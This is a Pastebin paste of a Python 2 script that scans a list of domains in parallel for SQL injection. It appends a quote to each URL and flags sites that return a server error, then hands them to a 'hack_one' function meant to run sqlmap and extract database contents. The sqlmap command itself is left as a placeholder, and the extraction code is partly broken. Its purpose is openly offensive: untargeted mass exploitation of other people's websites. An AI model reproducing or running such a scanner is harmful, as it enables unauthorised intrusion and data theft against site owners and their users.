Advertisement
Guest User

Untitled

a guest
Sep 26th, 2016
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.01 KB | None | 0 0
  1. import threading
  2. import os
  3. import sys
  4. import urllib2
  5. import argparse
  6. import requests
  7. import re
  8. from multiprocessing import Pool
  9.  
  10. def https_sheck(url):
  11.     headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64)'}
  12.     req = urllib2.Request("http://" + url, None, headers)
  13.     res = urllib2.urlopen(req)
  14.     finalurl = res.geturl()
  15.     if finalurl[4] == "s":
  16.         return True
  17.     else:
  18.         return False
  19.  
  20. def log_write(text, file_n):
  21.     open(file_n, 'a+').write(text + "\n")
  22.  
  23. def file_open(name, line=-1):
  24.     if os.path.exists(name):
  25.         text = open(name, 'r').readlines()
  26.         if line > -1:
  27.             return text[line].rstrip('\n').rstrip('\r')
  28.         else:
  29.             return len(text)
  30.     else:
  31.         print("File " + name + " does not exist")
  32.         sys.exit(1)
  33.  
  34. def check_one(url):
  35.     r = requests.head(url)
  36.     return r.status_code
  37.  
  38. def hack_one(url):
  39.     # For working you need to git clone sqlmap sources to sqlmap dir.
  40.     content = os.popen('here full command for sqlmap. Content will write in "content" !', 'r', 1)
  41.     result = re.findall(r"LIMIT 1:(.*)", content)
  42.     return result
  43.  
  44. def http_get(url):
  45.     if https_sheck(url):
  46.         domain = 'https://' + url
  47.     else:
  48.         domain = 'http://' + url
  49.     code_o = check_one(domain)
  50.     code_i = check_one(domain + '\'')
  51.     if code_o == 200 and code_i > 499 and code_i < 510:
  52.         # Here you can save the text like you want :)
  53.         data = hack_one(domain)
  54.         return data
  55.     else:
  56.         return False
  57.    
  58. if __name__ == '__main__':
  59.     parser = argparse.ArgumentParser()
  60.     parser.add_argument('-d', '-domains-file',  dest='domains_file',      default='')
  61.     args = parser.parse_args()
  62.  
  63.     pool = Pool(processes=10)
  64.     domains = []
  65.     for i in range(0, int(file_open(args.domains_file, -1))):
  66.         domain = file_open(args.domains_file, i).replace('https://', '').replace('http://', '')
  67.         domains.append(domain)
  68.     results = pool.map(http_get, domains)
  69.     print(results)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement